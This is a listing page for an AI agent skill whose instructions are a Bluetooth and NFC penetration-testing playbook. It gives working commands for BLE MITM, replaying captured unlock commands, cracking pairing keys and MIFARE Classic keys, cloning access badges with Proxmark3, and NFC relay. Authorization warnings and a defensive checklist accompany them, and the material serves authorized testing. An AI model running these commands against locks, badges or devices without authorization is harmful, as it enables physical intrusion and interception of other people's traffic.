Attacking Bluetooth Nfc logo

Attacking Bluetooth Nfc

Community
trilwu
attacking-bluetooth-nfc

Attack Bluetooth Classic, BLE, and NFC targets -- device enumeration, GATT characteristic exploitation, BLE MITM and replay, Ubertooth and nRF sniffing, MIFARE Classic cracking, Proxmark3 card cloning, NFC relay attacks, and access control bypass. Use when pentesting BLE peripherals or IoT devices, assessing NFC-based access controls or contactless payment security, testing Bluetooth pairing and authentication, or evaluating physical access card cloneability.

Overview

Publishertrilwu
Repositorysecskills
Skill nameattacking-bluetooth-nfc
Stars
144
Forks
15
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by trilwu on GitHub. Read the source before you install it.

Installation

Install the Attacking Bluetooth Nfc AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/trilwu/secskills.git /tmp/secskills
mkdir -p .claude/skills
cp -r /tmp/secskills/secskills-offense/skills/attacking-bluetooth-nfc .claude/skills/attacking-bluetooth-nfc
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Attacking Bluetooth Nfc in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Attacking Bluetooth Nfc on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Attacking Bluetooth Nfc is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Attacking Bluetooth and NFC

Bluetooth and NFC share a property with early Wi-Fi -- the protocols were designed for convenience in a trusted physical environment, and the trust assumption no longer holds. BLE devices routinely transmit sensitive data in cleartext because the GATT characteristic was "internal", and NFC access cards rely on cryptography that was broken years ago. Physical proximity is not access control.

When to Use

  • Assessing BLE peripherals or IoT devices with Bluetooth interfaces
  • Testing NFC-based physical access controls (badge readers, door locks)
  • Evaluating contactless payment card or transit card security
  • Pentesting Bluetooth Classic services (RFCOMM, OBEX, SDP)
  • Sniffing or intercepting BLE communication between device and app
  • Cloning or replaying NFC/RFID credentials

Scope and authorization. RF work has a legal profile the rest of pentesting does not, because you cannot confine a radio to the target:

  • Interception is wiretap law. Capturing BLE or Bluetooth Classic traffic sweeps in whatever else is transmitting nearby — staff phones, medical devices, neighbouring tenants. In the US that implicates the Wiretap Act and ECPA; most jurisdictions have an equivalent. Test in a shielded enclosure or a controlled area where you can account for every device you capture, and discard non-target captures without analysing them.
  • Transmitting is regulated. Jamming, active BLE injection, and high-power relay setups can violate FCC Part 15 (or national equivalent) regardless of who owns the target device.
  • Cloned access credentials are physical keys. A duplicated badge is forgery-adjacent in many jurisdictions and gets you into spaces the engagement may not cover. Enumerate which doors are in scope before you clone, log every credential you produce, and destroy the clones at the end.

Get physical-site authorization, an RF testing window, and a device inventory in writing — and carry the authorization letter, because RF testing is the scenario where you are most likely to be physically challenged mid-test.

When NOT to Use

  • Wi-Fi attacks -- use attacking-wireless-networks
  • Device firmware extraction and analysis beyond the RF interface -- use analyzing-firmware-images
  • Mobile app security beyond the BLE communication layer -- use testing-mobile-applications

Bluetooth Classic

Discovery and Enumeration

bash
hcitool scan                              # Discoverable devices
hcitool inq                               # Extended inquiry (class, RSSI)
hcitool info AA:BB:CC:DD:EE:FF            # Name, class, features
hciconfig -a                              # Local adapters

# bluetoothctl interactive
bluetoothctl
# scan on / devices / info AA:BB:CC:DD:EE:FF

Service Discovery and RFCOMM

bash
# SDP enumeration
sdptool browse AA:BB:CC:DD:EE:FF          # All services
sdptool search SP AA:BB:CC:DD:EE:FF       # Serial Port profile
sdptool search OPUSH AA:BB:CC:DD:EE:FF    # OBEX Push

# Connect to RFCOMM channel
rfcomm connect /dev/rfcomm0 AA:BB:CC:DD:EE:FF 1
screen /dev/rfcomm0 115200                # Interact as serial device

PIN Brute-Forcing

bash
spooftooph -i hci0 -a AA:BB:CC:DD:EE:FF  # Spoof BT identity
btcrack <bd_addr_file> <pairing_capture>  # Offline PIN cracking
crackle -i capture.pcap -o decrypted.pcap # Crack BLE legacy pairing TK

BLE (Bluetooth Low Energy)

Scanning and GATT Enumeration

bash
hcitool lescan                            # Discover BLE devices
bettercap -eval "ble.recon on"            # bettercap discovery
# ble.enum AA:BB:CC:DD:EE:FF             # Enumerate services

# gatttool interactive
gatttool -b AA:BB:CC:DD:EE:FF -I
# connect / primary / characteristics / char-desc
# char-read-hnd 0x000e                   # Read by handle
# char-write-req 0x000e 0100             # Write value
# char-write-req 0x000f 0100             # Enable notifications

# bettercap GATT operations
# ble.read AA:BB:CC:DD:EE:FF <svc_uuid> <char_uuid>
# ble.write AA:BB:CC:DD:EE:FF <svc_uuid> <char_uuid> <hex>

nRF Connect (mobile or desktop) is often fastest for interactive GATT browsing. Document findings with screenshots for characteristic UUIDs and properties.

Just Works Pairing

BLE "Just Works" provides no MITM protection. The Temporary Key is zero, so any observer within range can derive the Short-Term Key and decrypt traffic. If the device uses Just Works, report it -- Secure Connections with numeric comparison or passkey entry is the minimum.

BLE Attack Patterns

MITM with GATTacker or BtleJuice

bash
# GATTacker -- clone peripheral, proxy all GATT traffic
node scan.js
node advertise.js -a <target_mac>         # Fake peripheral
node central.js -a <target_mac>           # Proxy to real device

# BtleJuice (two BLE adapters required)
btlejuice -u <ws_url> -w                  # Core: connects to real device
btlejuice-proxy -i hci1                   # Proxy: advertises as clone
# Web UI on port 8080 for intercept/modify

Replay Attacks

Many BLE devices use static values for commands (unlock, configure). Capture the characteristic value, replay it from your own connection. If no nonce, counter, or session binding exists, the device accepts it.

bash
gatttool -b AA:BB:CC:DD:EE:FF --char-read -a 0x0031        # Capture
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0031 -n <hex>  # Replay

Common in smart locks, BLE-enabled safes, and IoT actuators.

Other BLE Weaknesses

Plaintext characteristics. IoT devices frequently expose Wi-Fi credentials, device tokens, and configuration on readable GATT characteristics without authentication. Enumerate and read everything.

Unsigned DFU. If Device Firmware Update over BLE lacks signature verification, modified firmware images are accepted. Look for Nordic DFU Service (UUID 0xFE59) or similar OTA services.

Bluetooth Sniffing

bash
# Ubertooth One (Classic)
ubertooth-rx -l <LAP>                     # Follow specific connection
ubertooth-rx -r /tmp/bt.pcap             # Pipe to Wireshark
ubertooth-specan                          # Spectrum analysis

# nRF52840 dongle (BLE)
# Flash nRF Sniffer firmware, then:
wireshark -k -i /dev/ttyACM0              # Select device in toolbar

Wireshark filters: btle.advertising_header (advertising), btatt.handle == 0x000e (specific handle), btsmp (pairing traffic). Use btbb plugin for Ubertooth Classic captures.

NFC

Proxmark3

bash
proxmark3 /dev/ttyACM0                    # Start client

# Card identification
hf search                                 # High-frequency
lf search                                 # Low-frequency

# MIFARE Classic operations
hf mf autopwn                             # Try defaults, then nested/hardnested
hf mf dump                                # Dump entire card
hf mf nested --1k --blk 0 -a -k FFFFFFFFFFFF    # Nested attack
hf mf hardnested --blk 0 -a -k FFFFFFFFFFFF --tblk 4 --ta  # Hardnested

# Clone and emulate
hf mf restore                             # Write dump to blank card
hf mf sim --1k                            # Emulate card
hf mf csetuid --uid <8_hex>              # Set UID on magic card

MIFARE Classic (Crypto1)

Crypto1 is broken. Key recovery takes seconds to minutes.

Attack hierarchy:

  1. Default keys -- FFFFFFFFFFFF, A0A1A2A3A4A5, D3F7D3F7D3F7. Many deployments never change them.
  2. Nested attack -- one known key recovers all sector keys.
  3. Hardnested attack -- one known key on any sector derives others.
  4. Darkside attack -- some variants, no known keys needed.

If MIFARE Classic is the sole access control credential, the finding is critical.

MIFARE DESFire

DESFire uses AES/3DES -- direct key recovery is not feasible. Focus on default application keys (often all zeros), key diversification weaknesses, and whether the backend validates beyond UID.

libnfc

bash
nfc-list                                  # List NFC devices
nfc-mfclassic r a dump.mfd               # Read card
nfc-mfclassic w a dump.mfd               # Write card

NFC and Access Control

Cloning Badges

bash
hf 14a reader                             # Read card UID
hf mf autopwn                             # Crack keys
hf mf dump                                # Dump contents
hf mf cload                               # Write to magic clone card

Many access control systems check only UID, not encrypted sector data. UID cloning is trivial and defeats these deployments entirely.

Relay Attacks (NFCGate)

NFC relay forwards card communication over a network link in real time. Two Android devices running NFCGate: one near the reader, one near the victim's card. The reader sees a valid interaction despite the card being physically elsewhere. Defeats proximity assumptions.

NDEF Records

bash
hf mfu ndefread                           # Read NDEF data
# May contain: URLs, Wi-Fi credentials, BT pairing data, app data

Writable NFC tags in public spaces can be overwritten with malicious NDEF records (phishing URLs, rogue Wi-Fi provisioning).

Common Findings

FindingSeverityNotes
Static BLE pairing / Just WorksHighPassive eavesdropping, MITM
Unencrypted GATT characteristicsHighNo pairing required to read
Replay of static BLE commandsHighNo nonce or session binding
Default Bluetooth Classic PINsMedium0000/1234, brute-forceable
MIFARE Classic access controlCriticalCrypto1 broken; minutes to crack
UID-only access validationCriticalTrivial cloning
Unsigned BLE DFUHighArbitrary code on device
Writable NFC tags, no authMediumContent replacement
No mutual authenticationHighAny central can connect
Default DESFire app keysHighAll-zero on initial deploy

Defensive Review Checklist

  • BLE uses Secure Connections pairing (numeric comparison or passkey)
  • Sensitive GATT characteristics require bonding and encryption
  • BLE commands include session-bound nonces or counters
  • DFU validates firmware signatures before applying
  • NFC cards use DESFire or better, not MIFARE Classic
  • Access control validates sector data, not just UID
  • Card keys diversified per card
  • Public NFC tags read-only or authenticated
  • Bluetooth Classic services require auth before data access
  • Relay mitigations in place (distance bounding, timing)

Rationalizations to Reject

  • "The device is only accessible within Bluetooth range." Range extenders, directional antennas, and relay attacks stretch 10 meters to 100. Proximity is not a security boundary.

  • "We use BLE encryption." Without Secure Connections, the Temporary Key is zero and traffic is decryptable by any passive observer.

  • "The NFC cards use encryption (MIFARE Classic)." Crypto1 has been publicly broken since 2008. Key recovery takes minutes.

  • "Physical access is required, so the risk is low." A badge on a lanyard and a BLE device on a shelf are within reach of anyone who can walk through a lobby.

  • "We will detect cloned cards at the backend." Most deployments do not correlate usage patterns or detect concurrent use. Verify with evidence.

  • "The BLE characteristic is not documented." GATT enumeration is automatic. Every characteristic is discoverable in seconds.

  • "Our BLE firmware updates use a proprietary format." Proprietary format is not a signing mechanism. No signature check means the update is replaceable.

References

  • attacking-wireless-networks -- Wi-Fi attacks and wireless reconnaissance
  • analyzing-firmware-images -- extracting and analyzing device firmware
  • testing-mobile-applications -- mobile app testing beyond the BLE layer
  • engineering-detections -- detection rules for Bluetooth and NFC abuse

Frequently asked questions

What does the Attacking Bluetooth Nfc AI skill do?

Attack Bluetooth Classic, BLE, and NFC targets -- device enumeration, GATT characteristic exploitation, BLE MITM and replay, Ubertooth and nRF sniffing, MIFARE Classic cracking, Proxmark3 card cloning, NFC relay attacks, and access control bypass. Use when pentesting BLE peripherals or IoT devices, assessing NFC-based access controls or contactless payment security, testing Bluetooth pairing and authentication, or evaluating physical access card cloneability.

Why use Attacking Bluetooth Nfc on TypingMind?

Because you install it once and use it with any model. Attacking Bluetooth Nfc is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Attacking Bluetooth Nfc in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/trilwu/secskills/tree/main/secskills-offense/skills/attacking-bluetooth-nfc. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Attacking Bluetooth Nfc?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Attacking Bluetooth Nfc?

As many as you like. As long as a model supports skills, you can use Attacking Bluetooth Nfc with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Attacking Bluetooth Nfc AI skill free?

Yes. It is published on GitHub by trilwu under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇